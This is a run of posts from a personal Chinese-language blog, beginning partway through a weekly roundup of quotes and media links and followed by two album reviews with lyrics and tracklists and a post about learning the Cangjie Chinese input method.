href="https://www.themarginalian.org/2012/11/16/eleanor-roosevelt-on-happiness-conformity-and-integrity/">Eleanor Roosevelt on Happiness, Conformity, and Integrity</a> by The Marginalian </p> <blockquote> <p> 陷入自我專注是很輕易的事,但同樣也是致命的。當一個人過度沉溺於自我、關注自己的健康、個人問題或日常生活的瑣碎細節時,他同時也在失去對他人的興趣;更糟的是,他正在失去與生命的連結。從那裡開始,很容易就會演變成對世界、對生命本身失去興趣。那是死亡的開端。 </p> <p> 我一直很喜歡唐吉訶德的那句話:「在死亡降臨之前,一切都是生命。」 </p> <p> 曾有人問我,我認為幸福最重要的三個條件是什麼。我的回答是: 「一種對自己和身邊的人都誠實的感覺;一種在個人生活和工作中都已盡力而為的感覺;以及愛他人的能力。」 </p> <p> 但還有另一個基本要求,我現在不明白當時怎麼會忘了它:那就是感覺到自己在某種程度上是有用的。無論以何種形式呈現,「有用」是我們為呼吸的空氣、攝取的食物以及活著的特權所應支付的代價。它本身也是一種回報,因為它是幸福的開端,正如自憐和退縮是痛苦的開端一樣。 </p> <p> <a href="https://www.themarginalian.org/2012/11/16/eleanor-roosevelt-on-happiness-conformity-and-integrity/#:~:text=%5B%E2%80%A6%5D-,It,misery">Source</a> </p> </blockquote> <blockquote> <p> 這是你的人生——但前提是你得讓它名副其實。你生活的標準必須是你自己的標準、你自己的價值觀、你對於是非、真假、重要與瑣碎的自有信念。當你採納他人、社群或壓力團體的標準與價值觀時,你就放棄了自己的正直。在放棄的程度上,你也就變得不再那麼像一個完整的人。 </p> <p> <a href="https://www.themarginalian.org/2012/11/16/eleanor-roosevelt-on-happiness-conformity-and-integrity/#:~:text=It%E2%80%99s,being">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/01/nathaniel-hawthorne-classification/">The Only Three Distinctions Between People</a> by The Marginalian </p> <blockquote> <p> 應當建立一種新的社會分類方式。不再區分貧富、高低,而是進行如下歸類:第一,按悲傷歸類: 如,無論是在華麗府邸還是簡陋小屋,凡是哀悼親友離世、身著黑衣的人,無論布料粗糙還是精良,都應歸為一類。第二,凡患有相同疾病的人,無論是躺在錦緞華蓋下、草墊上還是醫院病房裡,都應組成一類。第三,凡犯下相同罪孽的人,無論世人知曉與否;無論是在獄中憔悴地等待絞刑架,還是在人群中受人尊敬地行走,他們也組成一類。接著,對全世界進行概括與分類,因為沒有人能聲稱自己完全免於悲傷、罪孽或疾病;即便可以,死亡仍像一位偉大的家長,將所有的孩子一併掃過那道幽暗的門戶。 </p> <p> <a href="https://www.themarginalian.org/2026/06/01/nathaniel-hawthorne-classification/#:~:text=A%20new,children">Source</a> </p> </blockquote></li> <li><p> <a href="https://www.themarginalian.org/2026/06/04/storyteller-poet-qualities/">Very Necessary Qualifications of a Great Storyteller</a> by The Marginalian </p> <blockquote> <p> 所有偉大的敘事——無論是小說還是詩歌,電影還是歌曲——之所以令我們著迷,正是因為它推開了通往一個與我們截然不同的世界的大門,而那種異質性恰恰澄清了我們的自我,讓我們在回歸現實時感到生命被放大且變得更加堅韌。 </p> <p> <a href="https://www.themarginalian.org/2026/06/04/storyteller-poet-qualities/#:~:text=All%20great,annealed%2E">Source</a> </p> </blockquote></li> </ul> </div> </div> <div id="outline-container-FE81B37E-A1D2-4A2C-990C-8C5D3497B4CB" class="outline-2"> <h2 id="FE81B37E-A1D2-4A2C-990C-8C5D3497B4CB"><a href="#FE81B37E-A1D2-4A2C-990C-8C5D3497B4CB">多媒体</a></h2> <div class="outline-text-2" id="text-FE81B37E-A1D2-4A2C-990C-8C5D3497B4CB"></div> <div id="outline-container-5C4F18A7-5B91-422D-B324-8753DA113B68" class="outline-3"> <h3 id="5C4F18A7-5B91-422D-B324-8753DA113B68"><a href="#5C4F18A7-5B91-422D-B324-8753DA113B68">视频</a></h3> <div class="outline-text-3" id="text-5C4F18A7-5B91-422D-B324-8753DA113B68"><ul class="org-ul"> <li><p> <a href="https://www.bilibili.com/video/BV1P7Ec6xE3Z/">Enji x 周杨|离家乡越远,心越近</a> (1:13:04) by Songmont 山下有松 &amp; Hopico </p> <p> Enji 的歌好聴。 </p></li> <li><a href="https://www.bilibili.com/video/BV1uBVE6TEYP/">你的脚正常吗?</a> (07:37) by 医疗三棱镜</li> <li>猫猫 <ul class="org-ul"> <li><a href="https://www.bilibili.com/video/BV17ZrEBDE1D/">不吵不闹不配合</a> (01:31) by 穿拖鞋的白猫</li> <li><a href="https://www.bilibili.com/video/BV1qmd2BAEgp/">非要挨一巴掌才老实</a> (00:40) by 穿拖鞋的白猫</li> </ul></li> </ul> </div> </div> <div id="outline-container-3575872B-0E1C-4432-9EB6-C17F791A7706" class="outline-3"> <h3 id="3575872B-0E1C-4432-9EB6-C17F791A7706"><a href="#3575872B-0E1C-4432-9EB6-C17F791A7706">音乐</a></h3> <div class="outline-text-3" id="text-3575872B-0E1C-4432-9EB6-C17F791A7706"><ul class="org-ul"> <li><a href="album-41.html">Album#41 - 风筝飞了一整天</a></li> <li><a href="album-42.html">Album#42 - Wake Up Calls</a></li> <li><p> 犬は吠えるがキャラバンは進む by 小沢健二 </p> <p> 「天使たちのシーン」賽高! </p></li> <li>LIFE by 小沢健二</li> <li>Greatest Hits + 2 by 杜丽莎 (Teresa Carpio)</li> <li><p> Sonor by Enji </p> <p> See: <a href="https://www.bilibili.com/video/BV1P7Ec6xE3Z/">Enji x 周杨|离家乡越远,心越近</a> (1:13:04) by Songmont 山下有松 &amp; Hopico </p></li> <li>Open Up by 林忆莲</li> <li>飞船,宇航员 by 尧十三</li> </ul> </div> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> 直譯過來大概是「任凭狗吠,商队依然前行」的意思。 </p> <p class="footpara"> 源自阿拉伯谚语,经由法语 “Les chiens aboient, la caravane passe” 译入日语。原意指商队在沙漠中行进时,尽管路边的狗会不停吠叫,但商队不会因此停下脚步。 (From Kagi Translate) </p></div></div> <div class="footdef"><sup><a id="fn.2" class="footnum" href="#fnr.2" role="doc-backlink">2</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> 邊際收益是指多銷售一單位產品所帶來的收益增量。See: <a href="https://en.wikipedia.org/wiki/Marginal_revenue">Marginal revenue</a> by Wikipedia </p></div></div> <div class="footdef"><sup><a id="fn.3" class="footnum" href="#fnr.3" role="doc-backlink">3</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> See also: <a href="https://bakadesuyo.com/2026/05/get-better-at-anything/">The Counterintuitive Way To Get Better At Anything</a> by Eric Barker </p> <blockquote> <p> 現在肯定有人會反駁:「但難道我們不應該努力做出最好的決定嗎?」 </p> <p> 聽著,沒人建議你在挑選心臟外科醫生時使用「足夠好」的標準。但你一天中的大部分時間,都是由那些不值得動用你內心法庭全部資源的選擇所組成的。 </p> <p> 你無法透過思考來過上無悔的人生。你能做的是決定什麼才是重要的,並據此做出選擇,把剩下的心力留給少數真正重要的事情。 </p> <p> <a href="https://bakadesuyo.com/2026/05/get-better-at-anything/?ref=labnotes.org#:~:text=And,important">Source</a> </p> </blockquote></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/51.txt">純文本版本</a> <a href="https://taxodium.ink/51.org">原始 org 文件</a>

2026/6/8
阅读更多

Album#42 - Wake Up Calls

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Album#42</h1> <p class="subtitle" role="doc-subtitle">Wake Up Calls</p> </header> <figure> <a href="images/album/20260603T212531--wake-up-calls__albumwall_image_cosmosheldrake_20200918.webp"><img src="images/album/20260603T212531--wake-up-calls__albumwall_image_cosmosheldrake_20200918.webp" alt="20260603T212531--wake-up-calls__albumwall_image_cosmosheldrake_20200918.webp"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>《Wake Up Calls》専輯封面</figcaption> </figure> <details> <summary>专辑信息</summary> <ul class="org-ul"> <li>专辑名称: Wake Up Calls</li> <li>歌手: <a href="https://www.cosmosheldrake.com/about">Cosmo Sheldrake</a></li> <li>年份: 2020-09-18</li> <li>风格: 純音樂、白噪音、自然</li> <li>时长: 約 30 分鍾</li> </ul> <figure> <a href="https://cosmosheldrake.bandcamp.com/album/wake-up-calls-2"><img src="images/88x31/bandcamp.png" alt="bandcamp.png" data-href="https://cosmosheldrake.bandcamp.com/album/wake-up-calls-2"></a> </figure> <figure> <a href="https://lucida.to/?url=https%3A%2F%2Fplay.qobuz.com%2Falbum%2Fse72hoipt8ira"><img src="images/88x31/lucide.gif" alt="lucide.gif" data-href="https://lucida.to/?url=https%3A%2F%2Fplay.qobuz.com%2Falbum%2Fse72hoipt8ira"></a> </figure> </details> <p> 一張由很多鳥類参与制作的専輯,可以當白噪音聴着工作或是入睡,相比单調的白噪音,每首曲子都有一些簡单的旋律,和鳥的聲音相得益彰。専輯里的鳥類大多都被列入英國瀕危鳥類,種類丰富,聲音都很好聴,各有特色,聴着會有一種置身於森林的感覺,給人一種平靜感。 </p> <blockquote> <p> 这套音乐作品是我在 2011 年至 2020 年的九年间创作完成的,其中采用了英国濒危鸟类红色和琥珀色名录中收录的鸟鸣录音(不过知更鸟和黑鸟除外,它们目前尚未被列为濒危物种)。 </p> <p> <span class="underline">「专辑以夜莺和夜鹃的鸣叫拉开序幕。</span><span class="underline">随着音乐一曲接一曲地推进,从黎明到白昼,再到傍晚的鸟鸣合奏,</span><span class="underline">最终又回到夜晚,伴随着另一只夜莺和一只猫头鹰的歌声。」</span> </p> <p> 由 Benjamin Britten 创作的《杜鹃之歌 (Cuckoo Song)》,收录了声音生态学家 Bernie Krause 在奥尔德堡公墓布里顿墓前录制的杜鹃鸣叫声。 </p> <p> 我忍不住收录了一段 <a href="https://en.wikipedia.org/wiki/Tadorna">Sheldrake</a> 的鸣叫录音 ⸺ 这种鸟正是我们家族姓氏的由来,同时也列入了濒危物种名录。<span class="underline">我希望这段音乐能成为一记警钟:</span><span class="underline">在英国许多鸟类的声音濒临灭绝之前,帮助我们更加关注环绕在身边的壮丽多声部声景;</span><span class="underline">并提醒我们,切勿将这些生物及其发出的美妙乐声视为理所当然。</span> </p> <p> 特色鸟类:知更鸟、黑鹂、柳莺、沼泽莺、环颈鸫、槲鸫、夜莺、斑鹀、赤颈鸭、夜莺、短耳鸮、长耳鸮、小鸮、仓鸮、棕鸮、斑鸠、杜鹃、绿头鸭、大白鹭。 </p> <p> 由于这张专辑完全由这些鸟类的录音组成,因此《Wake Up Calls》50% 的出版版税将分配给专门致力于保护专辑中收录的鸟类物种或其栖息生态系统的保护组织。 </p> <p> <a href="https://www.cosmosheldrake.com/music/wake-up-calls">Wake Up Calls - An album comprised of recordings of endangered birds.</a> </p> </blockquote> <figure> <a href="images/album/20260603T212528--nightingale-wake-up-calls__albumwall_image_cosmosheldrake_20200422.webp"><img src="images/album/20260603T212528--nightingale-wake-up-calls__albumwall_image_cosmosheldrake_20200422.webp" alt="20260603T212528--nightingale-wake-up-calls__albumwall_image_cosmosheldrake_20200422.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;2&nbsp; </span>《Nightingale Wake Up Calls》専輯封面</figcaption> </figure> <p> 除了這張専輯,我還推薦聴一聴 Cosmo Sheldrake 的另一張専輯 <i>Nightingale Wake Up Calls</i> <sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup>,更喜歡這張専輯的封面。専輯中的兩首 <i>Nightingale</i> 己經收录󠄃在了 <i>Wake Up Calls</i> 這張専輯里,另外還有一首未收录󠄃的 <i>Green Grass (Live in Fingringhoe Wick)</i> 我也蠻喜歡,鳥儿在伴奏, Cosmo Sheldrake 用低沉的嗓音輕輕地啍唱着,也是給人一種平靜安宁的感覺,歌詞也很美。 </p> <details> <summary>Green Grass (Live in Fingringhoe Wick) 歌詞</summary> <p class="verse"> Lay your head where my heart used to be<br> Hold the earth above me<br> Lay down in the green grass<br> Remember when you loved me<br> <br> Come closer don't be shy<br> Stand beneath a rainy sky<br> The moon is over the rise<br> Think of me as a train goes by<br> <br> Clear the thistles and brambles<br> Whistle 'Didn't He Ramble'<br> Now there's a bubble of me<br> and it's floating in thee<br> <br> God took the stars and he tossed them<br> Can't tell the birds from the blossoms<br> You'll never be free of me<br> He'll make a tree from me<br> <br> Stand in the shade of me<br> Things are now made of me<br> The weather vane will say:<br> It smells like rain today<br> <br> Don't say good bye to me<br> Describe the sky to me<br> And when the sky falls, mark my words<br> we'll catch a mocking bird<br> </p> </details> <details> <summary>歌词大意</summary> <p class="verse"> 把你的头枕在我的心曾经跳动的地方<br> 以地为席<br> 躺在如茵的草地上<br> 去回忆你爱我的那些时候<br> <br> 靠近点,别害羞<br> 就这样站立在雨天下<br> 月亮升起来了<br> 把我想作一列驶过的火车<br> <br> 清理掉这些蓟和荆棘<br> 吹着口哨,哼唱着“他是否曾游荡&hellip;“<br> 现在我变成了一个泡泡<br> 正漂浮在你身上<br> <br> 上帝摘了些星星,抛洒下人间<br> 让你分不清哪些变成了鸟儿,哪些变成了花儿<br> 你永远也摆脱不了我<br> 他(上帝)会把我变成一棵树<br> <br> 让你站在我的荫蔽之下<br> 现在万物皆由我生<br> 这风向标会说<br> "今天好像要下雨了"<br> <br> 不要对我说再见<br> 跟我聊聊天气吧<br> 当天塌下来的时候,记住我的话<br> 我们去抓一只知更鸟吧<br> </p> </details> <div id="outline-container-BBFE3FA8-470B-4814-BD2E-C8DABA90A710" class="outline-2"> <h2 id="BBFE3FA8-470B-4814-BD2E-C8DABA90A710"><a href="#BBFE3FA8-470B-4814-BD2E-C8DABA90A710">TRACKLIST</a></h2> <div class="outline-text-2" id="text-BBFE3FA8-470B-4814-BD2E-C8DABA90A710"><ul class="org-ul"> <li><p> <b>Nightjar</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Nightjar">Nightjar (欧夜鹰)</a> </p></li> <li><p> <b>Nightingale Part 1</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Common_nightingale">Nightingale</a> (夜歌<ruby>鸲<rp>(</rp><rt lang="zh">qú</rt><rp>)</rp></ruby>) (第一部分) </p></li> <li><p> <b>Dawn Chorus</b> </p> <p> 黎明合唱 </p></li> <li><p> <b>Skylark</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Alauda">Skylark / Alauda (云雀)</a> </p></li> <li><p> <b>Cuckoo</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Cuckoo">Cuckoo (大杜鹃)</a> </p></li> <li><p> <b>Marsh Warbler</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Marsh_warbler">Marsh Warbler (苇莺)</a> </p></li> <li><p> <b>Cuckoo Song</b> </p> <p> 杜鹃之歌 </p> <details> <summary>歌词</summary> <p class="verse"> What do you do?<br> In April, I open my bill<br> In May, I sing night and day<br> In June, I change my tune<br> In July, far off I fly<br> In August, away<br> I mind<br> What do you do?<br> In April, I open my bill<br> In May, I sing night and day<br> In June, I change my tune<br> In July, far off I fly<br> In August, away<br> I mind<br> What do you do?<br> In April, I open my bill<br> In May, I sing night and day<br> In June, I change my tune<br> In July, far off I fly<br> In August, away<br> I mind<br> </p> </details> <details> <summary>歌词大意</summary> <p class="verse"> 你在做什么?<br> 四月,我张开了我的喙<br> 五月,我昼夜歌唱<br> 六月,我改变了我的曲调<br> 七月,我飞向远方<br> 八月,离去<br> 我在意<br> 你在做什么?<br> 四月,我张开了我的喙<br> 五月,我昼夜歌唱<br> 六月,我改变了我的曲调<br> 七月,我飞向远方<br> 八月,离去<br> 我在意<br> 你在做什么?<br> 四月,我张开了我的喙<br> 五月,我昼夜歌唱<br> 六月,我改变了我的曲调<br> 七月,我飞向远方<br> 八月,离去<br> 我在意<br> </p> </details></li> <li><p> <b>Dunnock</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Dunnock">Dunnock</a> (林岩<ruby>鹨<rp>(</rp><rt lang="zh">liù</rt><rp>)</rp></ruby>) </p></li> <li><p> <b>Bittern</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Eurasian_bittern">Eurasian Bittern</a> (大麻<ruby>鳽<rp>(</rp><rt lang="zh">jiān</rt><rp>)</rp></ruby>) </p></li> <li><p> <b>Evening Chorus</b> </p> <p> 黄昏合唱 </p></li> <li><p> <b>Mistle Tphrush</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Mistle_thrush">Mistle Thrush</a> (<ruby>槲鸫<rp>(</rp><rt lang="zh">hú dōng</rt><rp>)</rp></ruby>) </p></li> <li><p> <b>Nightingale Part 2</b> </p> <p> 新疆歌鸲(第二部分) </p></li> <li><p> <b>Owl Song</b> </p> <p> <a href="https://en.wikipedia.org/wiki/Owl">Owl (猫头鹰)</a> 之歌 (OvO) </p></li> </ul> </div> </div> <div id="footnotes"> <h2 class="footnotes">&#33050;&#27880;: </h2> <div id="text-footnotes"> <div class="footdef"><sup><a id="fn.1" class="footnum" href="#fnr.1" role="doc-backlink">1</a></sup> <div class="footpara" role="doc-footnote"><p class="footpara"> 其它小鳥可能也有它自己的専輯,可以搜搜看,専輯封面都很好看。 </p></div></div> </div> </div></div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/album-42.txt">純文本版本</a> <a href="https://taxodium.ink/album-42.org">原始 org 文件</a>

2026/6/4
阅读更多

上手倉頡輸入法

<div id="content" class="content e-content"> <header> <h1 class="title p-name">上手倉頡輸入法</h1> </header><p> 最近在學倉頡輸入法,分享一下我為什麼學,以及我是如何上手的,也通過寫博客进行打字練習。 </p> <p> 大多数人最先學会的中文輸入法应该是全拼,只需要记住 26 個字母,知道字的拼音,就能熟練使用,上手难度是最低的。缺點是重碼率高,即相同的拼音可存在多個候选字,需要选择实际想打的字。 </p> <p> 全拼我用了很長時間,後來換成了双拼,双拼也是按照拼音打字,不同之处在於每個字只需要兩個按鍵就夠了。例如, <code>倉</code> 字,全拼是 <code>cang</code> ,需要四個按鍵,而双拼是 <code>ch</code> ,只需要兩個按鍵。相比全拼,双拼可以節省輸入、减少手部疲劳、提高打字速度,每个字都由兩個按鍵組成,也會讓打字有一種韻律感。 </p> <p> 如果你現在用的是全拼,我很推荐尝试双拼。了解一下鍵位,利用 <a href="https://api.ihint.me/shuang/">双拼练习</a> 去熟悉鍵位,形成肌肉記忆,再逼迫自己日常使用双拼,按我的經验,大概一周左右双拼的打字速度就能赶上全拼了。 </p> <p> 最近在 <a href="https://emacs-china.org/t/topic/17068/170">推荐哪个形码输入法?</a> 中看到有人說: </p> <blockquote> <p> 先扯几句自身经历:前几年学的双拼,打字速度有提升,但拼音打字打的忘了怎么写字。 </p> <p> [&hellip;] </p> <p> 如果打繁体,强烈推荐仓颉。这几天考虑把仓颉捡起来,因为拆字太有乐趣了。 </p> </blockquote> <p> 拆字有趣的说法讓我对倉頡輸入法产生了興趣,于是就找資源学了。 </p> <p> 倉頡的好处是打字的重碼很少,不用废勁找字;拆字也算是有點樂趣;某種程度上也能讓我加深對字的記忆,不至於拼音用多了字不會寫;需要打一些偏辟字也更容易些。 </p> <p> 我學習先是通讀了一遍 <a href="https://www.chinesecj.com/5cjbook/">第五代倉頡輸入法手冊</a>,這是倉頡的发明者朱邦復先生寫的,別人扫描上传的一份 PDF。閲讀一遍可以了解倉頡的設計背景、理念、倉頡字母 (也即鍵位布局)、輔助字形 (每個鍵位對應的其他符号)、倉頡的取碼規則,讀完就可以開始練習了。 </p> <section role="note" id="orgca24da8"> <p> 后來發現的维基教科书上的 <a href="https://zh.wikibooks.org/wiki/%E5%80%89%E9%A0%A1%E8%BC%B8%E5%85%A5%E6%B3%95">倉頡輸入法</a> 教程也很不錯,相比《第五代倉頡輸入法手冊》可讀性更好,講的也很清晰。如果對倉頡的設計背景、理念没興趣,推薦看维基教科书的版本。 </p> </section> <p> 和練習双拼一樣,我希望有個頁面可以讓我練習倉頡字母、輔助字形和取碼規則(打完整的字),通過大量練習盡快形成肌肉記憶。但找了一圈没找到滿意的,要麼很多广告,要麼要注冊付費,功能也不符合我需要,於是就 Vibe Coding 了一個練習頁面 ⸺ <a href="https://spike-leung.github.io/cangjie-input-method-practice/#/letter-practice">倉頡練習</a>,功能基本滿足我需要。 </p> <p> 用工具練習了几天,我開始將倉頡作為主要的中文輸入法,双拼作备用。但同時存在双拼和倉頡,当倉頡打字很困难時,我總會逃回双拼。為了強迫自己練習,我就只保留了倉頡,但不可否認的是輸入效率會下降很多。 </p> <p> 之後就是大量打字練習,去形成肌肉記憶。要盡早用於日常之中,才有機會去練習日常經常用到的字。 </p> <p> 倉頡上手起來要比双拼困难很多,需要記的字母、輔助字形、拆字規則比双拼复杂得多。从我學習到現在差不多一個月,我的打字速度依然趕不上双拼,很多時候打字也還是會卡売。原因有几個: </p> <ul class="org-ul"> <li>鍵位還不够熟悉</li> <li>輔助字形的對應關系還有點模糊,也没記全 (以上兩點都是因為急於求成,多用工具練習應該可以改善)</li> <li>拆字規則不够熟悉,拆字也需要一點想象力 (這個可以通過多打字熟悉)</li> <li><p> 字不記得怎麼寫 (字寫的少,一直只用拼音打字,确实會忘字) </p> <details> <summary>如果字不會打</summary> <p> 不會打的字可以用拼音打出來,到 <a href="https://zdic.net/hans/">漢典</a> 上查。例如閱讀的「讀」我不會,我會通過搜索「閱du」,找到對應的字,然後到漢典查。 </p> <p> 在 Zen 浏览器,我將漢典設置為一個快捷查詢 (shortcut),用 <code>@h</code> 触发查詢,需要時就可以快速調用查閲。 </p> <figure> <a href="images/get-started-with-cangjie-input-method/handian-shortcut.webp"><img src="images/get-started-with-cangjie-input-method/handian-shortcut.webp" alt="handian-shortcut.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>Zen 上的漢典 shortcut 配置截图。</figcaption> </figure> <p> 如果你用的是 macOS 或 iOS 自帯的倉頡輸入法,<kbd>z</kbd> 對應的「重」,不是用來去重的,而是作為一個通配符,有時有的字不知道怎麼拆,也可以多利用。 </p> </details></li> </ul> <p> 倉頡拆字要求對字的笔畫清晰,如果脑子里字的形象模糊的話,就會影响拆字。工具上看着字拆容易,但要在脑字里想象字的形状,再啄磨怎麼拆字,再映射到鍵位上,這個過程一開始會有些难,卡売的感覚也讓人有些挫敗。 </p> <p> 一般來說,學習倉頡會經历 3 個階段: </p> <p> 第一個階段,先想象字的形状,然後按取碼規則拆字,再映射到鍵位上,可能還要回憶一下鍵位。 </p> <figure> <a href="images/get-started-with-cangjie-input-method/Typing_letter_consciousness.webp"><img src="images/get-started-with-cangjie-input-method/Typing_letter_consciousness.webp" alt="Typing_letter_consciousness.webp" loading="lazy" style="background: #fff"></a> <figcaption><span class="figure-number">&#22270;2&nbsp; </span>示意图:以意識操作來輸入漢字,還要把字根兌換作英文字母。</figcaption> </figure> <p> 第二個階段,要先想象字的形状,然後按取碼規則拆字,不用映射鍵位,鍵位己經形成条件反射。 </p> <figure> <a href="images/get-started-with-cangjie-input-method/Typing_consciousness.webp"><img src="images/get-started-with-cangjie-input-method/Typing_consciousness.webp" alt="Typing_consciousness.webp" loading="lazy" style="background: #fff"></a> <figcaption><span class="figure-number">&#22270;3&nbsp; </span>示意图:以意識操作來輸入漢字。</figcaption> </figure> <p> 第三個階段,要先想象字的形状,不用思考拆字,字的輸入己經形成条件反射。 </p> <figure> <a href="images/get-started-with-cangjie-input-method/Typing_conditioning.webp"><img src="images/get-started-with-cangjie-input-method/Typing_conditioning.webp" alt="Typing_conditioning.webp" loading="lazy" style="background: #fff"></a> <figcaption><span class="figure-number">&#22270;4&nbsp; </span>示意图:以反射操作來輸入漢字。</figcaption> </figure> <p> 当達到第三個階段時,應該日常打字就可以比较流暢了。我目前還在二階段,在往三階段努力。 </p> <p> 盡管目前用倉頡打字效率不高,但我還是會繼續用下去,直到熟練為止。形碼輸入法還是要比拼音有趣一些,我也不希望長時間只用拼音打字,最後字怎麼寫都忘了。而且因為倉頡出現早,朱邦復先生公開放棄了倉頡輸入法專利權,並且極力推動電腦漢化,所以倉頡的普及度很高,有的游戏會內置倉頡輸入法,却未必會有拼音,學會倉頡或許玩这些游戏時就能起一个中文名了 :P </p> <p> 如果你决定學倉頡,請准备好需要投入大量的時間練習;如果倉頡有的字不知道為什麼這樣拆,歡迎邮件討論;如果你還在用全拼,不想花時間學倉頡,那我強列推薦你試試双拼,上手很快,能提高輸入效率,也能讓手指相對轻松一些。 </p> <hr> <p> 文章中的示意图的 License 信息: </p> <p> 作者 Akiyao and LucasVB; modified by Cangjie6 under CC BY-SA 3.0. - Brain Neuron.svg, Hand.svg,CC BY-SA 3.0,<a href="https://commons.wikimedia.org/w/index.php?curid=62702407">https://commons.wikimedia.org/w/index.php?curid=62702407</a> </p> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/get-started-with-cangjie-input-method.txt">純文本版本</a> <a href="https://taxodium.ink/get-started-with-cangjie-input-method.org">原始 org 文件</a>

2026/6/1
阅读更多

Album#41 - 风筝飞了一整天

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Album#41</h1> <p class="subtitle" role="doc-subtitle">风筝飞了一整天</p> </header> <figure> <a href="images/album/20260601T132549--风筝飞了一整天__20200501_albumwall_image_周欣韧.webp"><img src="images/album/20260601T132549--风筝飞了一整天__20200501_albumwall_image_周欣韧.webp" alt="20260601T132549--风筝飞了一整天__20200501_albumwall_image_周欣韧.webp" class="center"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>《风筝飞了一整天》専輯封面</figcaption> </figure> <details> <summary>专辑信息</summary> <ul class="org-ul"> <li>专辑名称:风筝飞了一整天</li> <li>歌手:周欣韧</li> <li>年份:2020-05-01</li> <li>风格:Jazz</li> <li>时长:約 40 分種</li> </ul> <figure> <a href="https://lucida.to/?url=https%3A%2F%2Fmusic.amazon.com%2Falbums%2FB0G7KL8FRC%3FmusicTerritory%3DUS"><img src="images/88x31/lucide.gif" alt="lucide.gif" data-href="https://lucida.to/?url=https%3A%2F%2Fmusic.amazon.com%2Falbums%2FB0G7KL8FRC%3FmusicTerritory%3DUS"></a> </figure> </details> <p> 一張不錯的爵士鋼琴曲専輯,喜歡這張専輯封面,給人一種温暖柔和的感覚。 </p> <p> 夏日,清澈深邃的蓝天,被阳光直射得有点刺眼的积雨雲,灿烂而猛烈的阳光笼罩着大地,热浪冲刷着街邊的树,譲它們不停地搖摆。而我在阴凉的室內,凉風包裹着我,风扯動風鈴叮叮作响,喝着「滿头大汗」的冰啤酒,暂時无忧也无慮,心情悠悠然,像那空中自由飞舞的風筝。午後,阳光不再炽热,柔和了許多,凉快地大風扑面而來,树叶颯颯作响。専輯給我的就是這樣一種舒服自在的感覚。 </p> <p class="verse"> 不会扎破云层,不会挤掉星星<br> 放飞着靠近天空,牵引着归于大地<br> <br> ————————————————<br> <br> 旅美青年爵士钢琴家周欣韧<br> 独立创作首张个人爵士钢琴演奏专辑<br> —— 风筝飞了一整天 Note Drawing<br> <br> 着迷梦想 ,依附生活,<br> 这支风筝是有起始的人生。<br> <br> 时间串联的记忆、⽣命与梦想 ,<br> 长久存在又常常寻不见踪迹,<br> 但总有坚定的眼神记录色彩。<br> <br> 世俗孩童的喜好,<br> 落手飞扬的琴声,<br> <br> 绵密的笔触重叠成色彩,<br> 顺流而下,<br> 装进我们的眼睛。<br> </p> <p> 如果你喜歡這張専輯,你也許也喜歡: </p> <ul class="org-ul"> <li><a href="album-13.html">Album#13 - The Études</a></li> <li><a href="album-24.html">Album#24 - 无尽的夏天</a></li> <li><a href="album-37.html">Album#37 - Scenery(シーナリィ)</a></li> </ul> <div id="outline-container-B6DC07F9-FE0E-4073-A763-FA7227A035D3" class="outline-2"> <h2 id="B6DC07F9-FE0E-4073-A763-FA7227A035D3"><a href="#B6DC07F9-FE0E-4073-A763-FA7227A035D3">TRACKLIST</a></h2> <div class="outline-text-2" id="text-B6DC07F9-FE0E-4073-A763-FA7227A035D3"><p> <b>Chapter.1——「清醒梦 Don't Wake Me Up」</b> </p> <p class="verse"> 现实里的梦<br> 在梦里实现<br> </p> <p> <b>Chapter.2 ——「跳出窗外 If」</b> </p> <p class="verse"> 跳出去,迎接你<br> </p> <p> <b>Chapter.3 ——「风的游行 Kite」</b> </p> <p class="verse"> 风筝,是风的游行<br> </p> <p> <b>Chapter.4 ——「泉 Newborn」</b> </p> <p class="verse"> 没道理的是灵气<br> 不规律的是初生<br> </p> <p> <b>Chapter.5 ——「沿着季风的方向 Chasing」</b> </p> <p class="verse"> 来到绵延的云层<br> 带着远方的礼物<br> </p> <p> <b>Chapter.6 ——「星星飞溅 Starfall」</b> </p> <p class="verse"> 月亮照着梦境升起<br> 梦里的星星是火花<br> </p> <p> <b>Chapter.7 ——「随想曲 Note Drawing」</b> </p> <p class="verse"> 灵感,无数想象的偶然相识<br> </p> <p> <b>Chapter.8 ——「六月婚礼 Love Special</b> </p> <p class="verse"> 我是风筝<br> 你知道风吹来的方向<br> </p> </div> </div> </div> <hr> 